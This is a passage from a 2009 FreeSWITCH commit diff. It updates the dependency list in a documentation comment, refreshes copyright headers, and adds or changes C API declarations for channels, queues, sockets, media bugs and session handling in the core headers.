+ *		- libcelt (http://www.celt-codec.org/)
+ *
+ *	mod_siren
+ *		- libg722_1 (http://www.polycom.com/company/about_us/technology/siren22/index.html)
+ *
+ * Digital Signal Processing
+ *	mod_fax
+ *		- spandsp (http://www.soft-switch.org/)
+ *
  *  Directories
  *	mod_ldap
  *		- openldap (*nix only http://www.openldap.org/)
@@ -166,9 +195,6 @@
  *	mod_portaudio
  *		- portaudio (http://www.portaudio.com/)
  *
- *	mod_woomera
- *		- openh323/woomera (http://www.voxgratia.org/)
- *
  *	mod_dingaling
  *		- libdingaling (internal library distributed with freeswitch which depends on)
  *		- APR (http://apr.apache.org)
@@ -177,17 +203,16 @@
  *	mod_sofia
  *		- sofia-sip (http://opensource.nokia.com/projects/sofia-sip/)
  *
+ *	mod_opal
+ *		- libopal (http://www.opalvoip.org)
+ *
+ *	mod_openzap
+ *		- openzap (http://wiki.freeswitch.org/wiki/OpenZAP)
+ *
  *  Event Hanlders
  *	mod_xmpp_event
  *		- iksemel (http://iksemel.jabberstudio.org/)
  *
- *	mod_zeroconf
- *		- libhowl (No longer available http://www.porchdogsoft.com/products/howl/)
- *
- *	mod_cdr
- *		- Mysql (http://www.mysql.com/)
- *		- unixodbc (*nix only http://www.unixodbc.org/)
- *
  *  Formats
  *	mod_sndfile
  *		- libsndfile (http://www.mega-nerd.com/libsndfile/)
@@ -199,11 +224,24 @@
  *	mod_perl
  *		- perl (http://www.perl.org/)
  *
+ *	mod_lua
+ *		- lua (http://www.lua.org)
+ *
  *  XML interfaces
  *	mod_xml_rpc
  *		- xmlrpc-c (http://xmlrpc-c.sourceforge.net/)
  *
+ *	mod_xml_curl
+ *		- libcurl (http://curl.haxx.se/)
  *
+ *  Network services
+ *	mod_http
+ *		- Abyss (http://www.aprelium.com/)
+ *
+ *	mod_enum
+ *		- udns (http://www.corpit.ru/mjt/udns.html)
+ *
+ *
  * \section license Licensing
  *
  * Freeswitch is licensed under the terms of the MPL 1.1

Modified: freeswitch/branches/seven/src/include/switch_apr.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_apr.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_apr.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  * switch_apr.h -- APR includes header
  *
@@ -42,7 +42,7 @@
 SWITCH_BEGIN_EXTERN_C
 
 #ifdef WIN32
-typedef HANDLE                switch_thread_id_t;
+typedef DWORD                switch_thread_id_t;
 #else
 #include <pthread.h>
 typedef pthread_t             switch_thread_id_t;
@@ -521,7 +521,7 @@
 	 } switch_uuid_t;
 
 /** UUIDs are formatted as: 00112233-4455-6677-8899-AABBCCDDEEFF */
-#define SWITCH_UUID_FORMATTED_LENGTH 36
+#define SWITCH_UUID_FORMATTED_LENGTH 256
 
 #define SWITCH_MD5_DIGESTSIZE 16
 #define SWITCH_MD5_DIGEST_STRING_SIZE 33
@@ -620,6 +620,8 @@
  */
 SWITCH_DECLARE(switch_status_t) switch_queue_trypop(switch_queue_t *queue, void **data);
 
+SWITCH_DECLARE(switch_status_t) switch_queue_interrupt_all(switch_queue_t *queue);
+
 /**
  * push/add a object to the queue, returning immediatly if the queue is full
  *
@@ -1059,6 +1061,7 @@
 SWITCH_DECLARE(const char *) switch_get_addr(char *buf, switch_size_t len, switch_sockaddr_t *in);
 SWITCH_DECLARE(int32_t) switch_sockaddr_get_family(switch_sockaddr_t *sa);
 SWITCH_DECLARE(switch_status_t) switch_sockaddr_ip_get(char **addr, switch_sockaddr_t *sa);
+SWITCH_DECLARE(int) switch_sockaddr_equal(const switch_sockaddr_t *sa1, const switch_sockaddr_t *sa2);
 
 
 /**
@@ -1196,6 +1199,14 @@
  */
 SWITCH_DECLARE(switch_status_t) switch_mcast_join(switch_socket_t *sock, switch_sockaddr_t *join, switch_sockaddr_t *iface, switch_sockaddr_t *source);
 
+/**
+ * Set the Multicast Time to Live (ttl) for a multicast transmission.
+ * @param sock The socket to set the multicast ttl
+ * @param ttl Time to live to Assign. 0-255, default=1
+ * @remark If the TTL is 0, packets will only be seen by sockets on the local machine,
+ *     and only when multicast loopback is enabled.
+ */
+SWITCH_DECLARE(switch_status_t) switch_mcast_hops(switch_socket_t *sock, uint8_t ttl);
 
 
 /** @} */

Modified: freeswitch/branches/seven/src/include/switch_bitpack.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_bitpack.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_bitpack.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_bitpack.h -- BITPACKING code for RFC3551 and AAL2 packing

Modified: freeswitch/branches/seven/src/include/switch_buffer.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_buffer.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_buffer.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_buffer.h -- Data Buffering Code

Modified: freeswitch/branches/seven/src/include/switch_caller.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_caller.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_caller.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_caller.h -- Caller Identification
@@ -99,6 +99,7 @@
 	switch_caller_profile_flag_t flags;
 	struct switch_caller_profile *originator_caller_profile;
 	struct switch_caller_profile *originatee_caller_profile;
+	struct switch_caller_profile *hunt_caller_profile;
 	struct switch_channel_timetable *times;
 	struct switch_caller_extension *caller_extension;
 	switch_memory_pool_t *pool;

Modified: freeswitch/branches/seven/src/include/switch_channel.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_channel.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_channel.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_channel.h -- Media Channel Interface
@@ -74,9 +74,15 @@
   \param channel channel to test
   \return true if the channel is ready
 */
-SWITCH_DECLARE(uint8_t) switch_channel_ready(switch_channel_t *channel);
+SWITCH_DECLARE(int) switch_channel_test_ready(switch_channel_t *channel, switch_bool_t media);
 
+#define switch_channel_ready(_channel) switch_channel_test_ready(_channel, SWITCH_FALSE)
+#define switch_channel_media_ready(_channel) switch_channel_test_ready(_channel, SWITCH_TRUE)
+#define switch_channel_up(_channel) (switch_channel_get_state(_channel) < CS_HANGUP)
+#define switch_channel_down(_channel) (switch_channel_get_state(_channel) >= CS_HANGUP)
+
 SWITCH_DECLARE(void) switch_channel_wait_for_state(switch_channel_t *channel, switch_channel_t *other_channel, switch_channel_state_t want_state);
+SWITCH_DECLARE(void) switch_channel_wait_for_state_timeout(switch_channel_t *other_channel, switch_channel_state_t want_state, uint32_t timeout);
 SWITCH_DECLARE(switch_status_t) switch_channel_wait_for_flag(switch_channel_t *channel, 
 															 switch_channel_flag_t want_flag, 
 															 switch_bool_t pres, 
@@ -135,7 +141,7 @@
   \param pool memory_pool to use for allocation
   \return SWITCH_STATUS_SUCCESS if successful
 */
-SWITCH_DECLARE(switch_status_t) switch_channel_alloc(_In_ switch_channel_t **channel, _In_ switch_memory_pool_t *pool);
+SWITCH_DECLARE(switch_status_t) switch_channel_alloc(_In_ switch_channel_t **channel, _In_ switch_call_direction_t direction, _In_ switch_memory_pool_t *pool);
 
 /*!
   \brief Connect a newly allocated channel to a session object and setup it's initial state
@@ -183,6 +189,8 @@
 */
 SWITCH_DECLARE(void) switch_channel_set_originator_caller_profile(switch_channel_t *channel, switch_caller_profile_t *caller_profile);
 
+SWITCH_DECLARE(void) switch_channel_set_hunt_caller_profile(switch_channel_t *channel, switch_caller_profile_t *caller_profile);
+
 /*!
   \brief Retrive the given channel's originator caller profile
   \param channel channel to retrive the profile from
@@ -242,13 +250,16 @@
 SWITCH_DECLARE(switch_status_t) switch_channel_get_variables(switch_channel_t *channel, switch_event_t **event);
 
 /*!
- * Start iterating over the entries in the channel variable list.
- * @param channel the channel to intterate the variales for
- * @remark  Use switch_hash_next and switch_hash_this with this function to iterate all the channel variables
+ * \brief Start iterating over the entries in the channel variable list.
+ * \param channel the channel to iterate the variables for
+ * \remark This function locks the profile mutex, use switch_channel_variable_last to unlock
  */
 SWITCH_DECLARE(switch_event_header_t *) switch_channel_variable_first(switch_channel_t *channel);
 
-
+/*!
+ * \brief Stop iterating over channel variables. 
+ * \remark Unlocks the profile mutex initially locked in switch_channel_variable_first
+ */
 SWITCH_DECLARE(void) switch_channel_variable_last(switch_channel_t *channel);
 
 /*!
@@ -296,6 +307,8 @@
 */
 SWITCH_DECLARE(switch_bool_t) switch_channel_clear_flag_partner(switch_channel_t *channel, switch_channel_flag_t flag);
 
+SWITCH_DECLARE(uint32_t) switch_channel_test_flag_partner(switch_channel_t *channel, switch_channel_flag_t flag);
+
 /*!
   \brief Set given flag(s) on a given channel to be applied on the next state change
   \param channel channel on which to set flag(s)
@@ -393,6 +406,7 @@
   \param key unique keyname to associate your private data to
   \param private_info void pointer to private data
   \return SWITCH_STATUS_SUCCESS if data was set
+  \remarks set NULL to delete your private data
 */
 SWITCH_DECLARE(switch_status_t) switch_channel_set_private(switch_channel_t *channel, const char *key, const void *private_info);
 
@@ -496,8 +510,6 @@
 
 #define switch_channel_stop_broadcast(_channel)	for(;;) {if (switch_channel_test_flag(_channel, CF_BROADCAST)) {switch_channel_set_flag(_channel, CF_STOP_BROADCAST); switch_channel_set_flag(_channel, CF_BREAK); } break;}
 
-#define switch_channel_media_ready(_channel) ((switch_channel_test_flag(_channel, CF_ANSWERED) || switch_channel_test_flag(_channel, CF_EARLY_MEDIA)) && !switch_channel_test_flag(_channel, CF_PROXY_MODE))
-
 SWITCH_DECLARE(void) switch_channel_audio_sync(switch_channel_t *channel);
 
 SWITCH_DECLARE(void) switch_channel_set_private_flag(switch_channel_t *channel, uint32_t flags);
@@ -507,6 +519,8 @@
 SWITCH_DECLARE(void) switch_channel_set_app_flag(switch_channel_t *channel, uint32_t flags);
 SWITCH_DECLARE(void) switch_channel_clear_app_flag(switch_channel_t *channel, uint32_t flags);
 SWITCH_DECLARE(int) switch_channel_test_app_flag(switch_channel_t *channel, uint32_t flags);
+SWITCH_DECLARE(void) switch_channel_set_hangup_time(switch_channel_t *channel);
+SWITCH_DECLARE(switch_call_direction_t) switch_channel_direction(switch_channel_t *channel);
 
 /** @} */
 

Modified: freeswitch/branches/seven/src/include/switch_config.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_config.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_config.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_config.h -- Configuration File Parser

Modified: freeswitch/branches/seven/src/include/switch_console.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_console.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_console.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_console.h -- Simple Console
@@ -74,6 +74,8 @@
 SWITCH_DECLARE_NONSTD(switch_status_t) switch_console_stream_write(switch_stream_handle_t *handle, const char *fmt, ...) PRINTF_FUNCTION(2, 3);
 #endif
 
+SWITCH_DECLARE(switch_status_t) switch_stream_write_file_contents(switch_stream_handle_t *stream, const char *path);
+
 SWITCH_END_EXTERN_C
 #endif
 /* For Emacs:

Modified: freeswitch/branches/seven/src/include/switch_core.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_core.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_core.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_core.h -- Core Library
@@ -134,7 +134,7 @@
   \param session the session to add the bug to
   \param callback a callback for events
   \param user_data arbitrary user data
-  \param stop_time absolute time at which the bug is automatically removed
+  \param stop_time absolute time at which the bug is automatically removed (or 0)
   \param flags flags to choose the stream
   \param new_bug pointer to assign new bug to
   \return SWITCH_STATUS_SUCCESS if the operation was a success
@@ -143,7 +143,22 @@
 														  _In_ switch_media_bug_callback_t callback,
 														  _In_opt_ void *user_data,
 														  _In_ time_t stop_time, _In_ switch_media_bug_flag_t flags, _Out_ switch_media_bug_t **new_bug);
+
 /*!
+  \brief Pause a media bug on the session
+  \param session the session to pause the bug on sets CF_PAUSE_BUGS flag
+*/
+SWITCH_DECLARE(void) switch_core_media_bug_pause(switch_core_session_t *session);
+
+/*!
+  \brief Resume a media bug on the session
+  \param session the session to resume the bug on, clears CF_PAUSE_BUGS flag
+*/
+SWITCH_DECLARE(void) switch_core_media_bug_resume(switch_core_session_t *session);
+
+SWITCH_DECLARE(void) switch_core_media_bug_inuse(switch_media_bug_t *bug, switch_size_t *readp, switch_size_t *writep);
+
+/*!
   \brief Obtain private data from a media bug
   \param bug the bug to get the data from
   \return the private data
@@ -175,6 +190,12 @@
 */
 SWITCH_DECLARE(switch_core_session_t *) switch_core_media_bug_get_session(_In_ switch_media_bug_t *bug);
 
+/*!
+  \brief Test for the existance of a flag on an media bug
+  \param bug the object to test
+  \param flag the or'd list of flags to test
+  \return true value if the object has the flags defined
+*/
 SWITCH_DECLARE(uint32_t) switch_core_media_bug_test_flag(_In_ switch_media_bug_t *bug, _In_ uint32_t flag);
 
 /*!
@@ -193,6 +214,14 @@
 SWITCH_DECLARE(switch_status_t) switch_core_media_bug_remove(_In_ switch_core_session_t *session, _Inout_ switch_media_bug_t **bug);
 
 /*!
+  \brief Remove media bug callback
+  \param bug bug to remove
+  \param callback callback to remove
+  \return SWITCH_STATUS_SUCCESS if the operation was a success
+*/
+SWITCH_DECLARE(switch_status_t) switch_core_media_bug_remove_callback(switch_core_session_t *session, switch_media_bug_callback_t callback);
+
+/*!
   \brief Close and destroy a media bug
   \param bug bug to remove
   \return SWITCH_STATUS_SUCCESS if the operation was a success
@@ -211,9 +240,18 @@
   \param frame the frame to write the data to
   \return the amount of data 
 */
-SWITCH_DECLARE(switch_status_t) switch_core_media_bug_read(_In_ switch_media_bug_t *bug, _In_ switch_frame_t *frame);
+SWITCH_DECLARE(switch_status_t) switch_core_media_bug_read(_In_ switch_media_bug_t *bug, _In_ switch_frame_t *frame, switch_bool_t fill);
 
+/*!
+  \brief Flush the read and write buffers for the bug
+  \param bug the bug to flush the read and write buffers on
+*/
 SWITCH_DECLARE(void) switch_core_media_bug_flush(_In_ switch_media_bug_t *bug);
+
+/*!
+  \brief Flush the read/write buffers for all media bugs on the session
+  \param session the session to flush the read/write buffers for all media bugs on the session
+*/
 SWITCH_DECLARE(switch_status_t) switch_core_media_bug_flush_all(_In_ switch_core_session_t *session);
 
 ///\}
@@ -376,6 +414,10 @@
 */
 SWITCH_DECLARE(int) switch_core_add_state_handler(_In_ const switch_state_handler_table_t *state_handler);
 
+/*!
+  \brief Remove a global state handler
+  \param state_handler the state handler to remove
+*/
 SWITCH_DECLARE(void) switch_core_remove_state_handler(_In_ const switch_state_handler_table_t *state_handler);
 
 /*! 
@@ -408,6 +450,11 @@
 */
 #define switch_core_destroy_memory_pool(p) switch_core_perform_destroy_memory_pool(p, __FILE__, __SWITCH_FUNC__, __LINE__)
 
+
+SWITCH_DECLARE(void) switch_core_memory_pool_set_data(switch_memory_pool_t *pool, const char *key, void *data);
+SWITCH_DECLARE(void *) switch_core_memory_pool_get_data(switch_memory_pool_t *pool, const char *key);
+
+
 /*! 
   \brief Start the session's state machine
   \param session the session on which to start the state machine
@@ -525,11 +572,12 @@
   \param pool the pool to use for the allocation (a new one will be used if NULL)
   \return the newly created session
 */
-SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_uuid(_In_ switch_endpoint_interface_t *endpoint_interface,
+SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_uuid(_In_ switch_endpoint_interface_t *endpoint_interface, 
+																		 _In_ switch_call_direction_t direction,
 																		 _Inout_opt_ switch_memory_pool_t **pool, _In_opt_z_ const char *use_uuid);
-#define switch_core_session_request(_ep, _p) switch_core_session_request_uuid(_ep, _p, NULL)
+#define switch_core_session_request(_ep, _d, _p) switch_core_session_request_uuid(_ep, _d, _p, NULL)
 
-SWITCH_DECLARE(switch_status_t) switch_core_session_set_uuid(switch_core_session_t *session, const char *use_uuid);
+SWITCH_DECLARE(switch_status_t) switch_core_session_set_uuid(_In_ switch_core_session_t *session, _In_z_ const char *use_uuid);
 
 SWITCH_DECLARE(void) switch_core_session_perform_destroy(_Inout_ switch_core_session_t **session,
 														 _In_z_ const char *file, _In_z_ const char *func, _In_ int line);
@@ -541,13 +589,16 @@
 */
 #define switch_core_session_destroy(session) switch_core_session_perform_destroy(session, __FILE__, __SWITCH_FUNC__, __LINE__)
 
+SWITCH_DECLARE(void) switch_core_session_destroy_state(switch_core_session_t *session);
+SWITCH_DECLARE(void) switch_core_session_reporting_state(switch_core_session_t *session);
+
 /*! 
   \brief Provide the total number of sessions
   \return the total number of allocated sessions
 */
 SWITCH_DECLARE(uint32_t) switch_core_session_count(void);
 
-SWITCH_DECLARE(switch_size_t) switch_core_session_get_id(switch_core_session_t *session);
+SWITCH_DECLARE(switch_size_t) switch_core_session_get_id(_In_ switch_core_session_t *session);
 
 /*! 
   \brief Provide the current session_id
@@ -561,7 +612,9 @@
   \param pool the pool to use
   \return the newly created session
 */
-SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_by_name(_In_z_ const char *endpoint_name, _Inout_ switch_memory_pool_t **pool);
+SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_by_name(_In_z_ const char *endpoint_name, 
+																			_In_ switch_call_direction_t direction,
+																			_Inout_ switch_memory_pool_t **pool);
 
 /*! 
   \brief Launch the session thread (state machine) on a given session
@@ -600,7 +653,7 @@
 #endif
 
 /*! 
-  \brief Locate a session based on it's uuiid
+  \brief Locate a session based on it's uuid
   \param uuid_str the unique id of the session you want to find
   \return the session or NULL
   \note if the session was located it will have a read lock obtained which will need to be released with switch_core_session_rwunlock()
@@ -612,6 +665,18 @@
 #endif
 
 /*! 
+  \brief Locate a session based on it's uuid even if the channel is not ready
+  \param uuid_str the unique id of the session you want to find
+  \return the session or NULL
+  \note if the session was located it will have a read lock obtained which will need to be released with switch_core_session_rwunlock()
+*/
+#ifdef SWITCH_DEBUG_RWLOCKS
+#define switch_core_session_locate(uuid_str) switch_core_session_perform_force_locate(uuid_str, __FILE__, __SWITCH_FUNC__, __LINE__)
+#else
+SWITCH_DECLARE(switch_core_session_t *) switch_core_session_force_locate(_In_z_ const char *uuid_str);
+#endif
+
+/*! 
   \brief Retrieve a global variable from the core
   \param varname the name of the variable
   \return the value of the desired variable
@@ -628,15 +693,34 @@
 SWITCH_DECLARE(void) switch_core_dump_variables(_In_ switch_stream_handle_t *stream);
 
 /*! 
-  \brief Hangup All Sessions
+  \brief Hangup all sessions
   \param cause the hangup cause to apply to the hungup channels
 */
 SWITCH_DECLARE(void) switch_core_session_hupall(_In_ switch_call_cause_t cause);
 
+/*! 
+  \brief Hangup all sessions which match a specific channel variable
+  \param var_name The variable name to look for
+  \param var_val The value to look for 
+  \param cause the hangup cause to apply to the hungup channels
+*/
 SWITCH_DECLARE(void) switch_core_session_hupall_matching_var(_In_ const char *var_name, _In_ const char *var_val, _In_ switch_call_cause_t cause);
+/*! 
+  \brief Hangup all sessions that belong to an endpoint
+  \param endpoint_interface The endpoint interface 
+  \param cause the hangup cause to apply to the hungup channels
+*/
 SWITCH_DECLARE(void) switch_core_session_hupall_endpoint(const switch_endpoint_interface_t *endpoint_interface, switch_call_cause_t cause);
 
 /*! 
+  \brief Get the session's partner (the session its bridged to)
+  \param session The session we're searching with 
+  \param partner [out] The session's partner, or NULL if it wasnt found
+  \return SWITCH_STATUS_SUCCESS or SWITCH_STATUS_FALSE if this session isn't bridged
+*/
+SWITCH_DECLARE(switch_status_t) switch_core_session_get_partner(switch_core_session_t *session, switch_core_session_t **partner);
+
+/*! 
   \brief Send a message to another session using it's uuid
   \param uuid_str the unique id of the session you want to send a message to
   \param message the switch_core_session_message_t object to send
@@ -674,14 +758,14 @@
   \brief DE-Queue an message on a given session
   \param session the session to de-queue the message on
   \param message the de-queued message
-  \return the  SWITCH_STATUS_SUCCESS if the message was de-queued
+  \return SWITCH_STATUS_SUCCESS if the message was de-queued
 */
 SWITCH_DECLARE(switch_status_t) switch_core_session_dequeue_message(_In_ switch_core_session_t *session, _Out_ switch_core_session_message_t **message);
 
 /*! 
   \brief Flush a message queue on a given session
   \param session the session to de-queue the message on
-  \return the  SWITCH_STATUS_SUCCESS if the message was de-queued
+  \return SWITCH_STATUS_SUCCESS if the message was de-queued
 */
 SWITCH_DECLARE(switch_status_t) switch_core_session_flush_message(_In_ switch_core_session_t *session);
 
@@ -695,12 +779,35 @@
 
 SWITCH_DECLARE(switch_app_log_t *) switch_core_session_get_app_log(_In_ switch_core_session_t *session);
 
+/*! 
+  \brief Execute an application on a session 
+  \param session the current session
+  \param application_interface the interface of the application to execute
+  \param arg application arguments
+  \warning Has to be called from the session's thread
+  \return the application's return value
+*/
 SWITCH_DECLARE(switch_status_t) switch_core_session_exec(_In_ switch_core_session_t *session,
 														 _In_ const switch_application_interface_t *application_interface, _In_opt_z_ const char *arg);
-
+/*! 
+  \brief Execute an application on a session 
+  \param session the current session
+  \param app the application's name
+  \param arg application arguments
+  \warning Has to be called from the session's thread
+  \return the application's return value
+*/
 SWITCH_DECLARE(switch_status_t) switch_core_session_execute_application(_In_ switch_core_session_t *session,
 																		_In_ const char *app, _In_opt_z_ const char *arg);
-
+/*! 
+  \brief Run a dialplan and execute an extension
+  \param session the current session
+  \param exten the interface of the application to execute
+  \param arg application arguments
+  \note It does not change the channel back to CS_ROUTING, it manually calls the dialplan and executes the applications
+  \warning Has to be called from the session's thread
+  \return the application's return value
+*/
 SWITCH_DECLARE(switch_status_t) switch_core_session_execute_exten(_In_ switch_core_session_t *session,
 																  _In_z_ const char *exten,
 																  _In_opt_z_ const char *dialplan, _In_opt_z_ const char *context);
@@ -826,9 +933,10 @@
   \brief DE-Queue an event on a given session
   \param session the session to de-queue the message on
   \param event the de-queued event
+  \param force force the dequeue
   \return the  SWITCH_STATUS_SUCCESS if the event was de-queued
 */
-SWITCH_DECLARE(switch_status_t) switch_core_session_dequeue_event(_In_ switch_core_session_t *session, _Out_ switch_event_t **event);
+SWITCH_DECLARE(switch_status_t) switch_core_session_dequeue_event(_In_ switch_core_session_t *session, _Out_ switch_event_t **event, switch_bool_t force);
 
 /*! 
   \brief Queue a private event on a given session
@@ -928,10 +1036,16 @@
 /*! 
   \brief Send DTMF to a session
   \param session session to send DTMF to
-  \param dtmf string to send to the session
+  \param dtmf dtmf to send to the session
   \return SWITCH_STATUS_SUCCESS if the dtmf was written
 */
 SWITCH_DECLARE(switch_status_t) switch_core_session_send_dtmf(_In_ switch_core_session_t *session, const switch_dtmf_t *dtmf);
+/*! 
+  \brief Send DTMF to a session
+  \param session session to send DTMF to
+  \param dtmf_string string to send to the session
+  \return SWITCH_STATUS_SUCCESS if the dtmf was written
+*/
 SWITCH_DECLARE(switch_status_t) switch_core_session_send_dtmf_string(switch_core_session_t *session, const char *dtmf_string);
 
 /*! 
@@ -1024,8 +1138,28 @@
 */
 SWITCH_DECLARE(void *) switch_core_hash_find_locked(_In_ switch_hash_t *hash, _In_z_ const char *key, _In_ switch_mutex_t *mutex);
 
+/*!
+ \brief Gets the first element of a hashtable
+ \param depricate_me [deprecated] NULL
+ \param hash the hashtable to use
+ \return The element, or NULL if it wasn't found 
+*/
